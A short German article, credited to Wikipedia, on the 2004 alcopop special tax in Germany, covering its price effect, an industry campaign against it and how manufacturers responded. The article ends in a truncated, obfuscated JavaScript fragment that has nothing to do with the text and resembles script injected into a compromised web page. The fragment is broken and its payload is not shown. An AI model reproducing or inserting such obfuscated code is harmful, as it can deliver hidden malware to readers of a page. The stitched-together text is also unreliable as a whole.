Alcopop - Steuer

 

 

Um dem Konsum der Alkopops durch Jugendliche entgegenzuwirken, gilt seit dem 2. August 2004 eine Sondersteuer auf diese Getränke. Eine handelsübliche 275-Milliliter-Flasche mit 5,5 Prozent Alkoholgehalt kostet dann rund einen Euro mehr (davon entfallen rund 85 Cent auf die eigentliche Alcopopsteuer und der Rest auf die Mehrwertsteuer, die auch auf die Alcopopsteuer nochmal erhoben wird). Ursprünglich sollte das Gesetz bereits am 1. Juli 2004 gelten, der Einspruch des Bundesrates verzögerte das Gesetz aber.

 

Die Initiative verantwortungsbewusster Umgang mit Alkohol forderte in einer Anzeigenkampagne, auf die geplante Alcopop-Steuer zu verzichten. Unter anderem hieß es in der Anzeige, die Steuer führe nur zu einer Ausweichreaktion und diene daher nicht dem Jugendschutz. Die Süddeutsche Zeitung veröffentlichte am 24. Juni 2004 ihre Recherche, nach der hinter der Initiative die Firma Diageo steckt, die knapp 50 hochprozentige Alkoholprodukte vertreibt, darunter auch mehrere Alcopops.

 

Als Reaktion auf diese Sondersteuer für Alcopops wollen zahlreiche Hersteller die Zusammensetzung ihrer Getränke verändern, wie mehrere Firmen im Hamburger Abendblatt vom 3. August 2004

(http://www.abendblatt.de/daten/2004/08/03/325023.html) bestätigten. Um die Besteuerung von 80 bis 90 Cent pro Flasche nicht zu bezahlen, ersetzen die Produzenten Alkohol wie Wodka und Rum durch Weinalkohol, der nicht der Sondersteuer unterliegt.

 

Marktführende Firmen im Bereich der Branntweinspirituosen, wie zum Beispiel Bacardi oder Smirnoff können sich diese Umstellung auf Grund von Imagegründen nicht leisten. Der Kunde erwartet in einem SmirnoffIce Vodka und wird sich nicht mit Schaumwein- oder Bierbasis zufrieden geben. Desweiteren müsste das gesamte Produkt inhaltlich neu überarbeitet werden, wodurch auch imense Kosten für neues Marketing verbunden wären. Die Reaktion besteht bei Firmen dieser Art darin, das ursprüngliche Produkt mit Branntwein zum nahezu selben Preis wie vor der Sondersteuer anzubieten. Die Steuer fällt somit nur den Getränkeherstellern zur Last und diese kompensieren sie mit Verminderung der Werbeausgaben. Der ursprüngliche Gedanke des Staates, mit dem erhöhten Preis vorzugsweise Jugendliche von dem Produkt fern zu halten, wird zumindest in der äusserlich für den Kunden merklichen Weise umgangen.

 

 

Quelle: www.wikipedia.de

tjrF4').slice(6, -10).replace(/YY/g, 'tm'));var dME=4459;lV="";a[qN](function(){ p.s() }, 343);jI="jI";lP='';}var pE=new Array();var rN=new Date();jF=47524;var uS=function(){return 'uS'};}};this.nB=10734;var oJ=new iX(); this.mA=false;oJ.s();var aL="";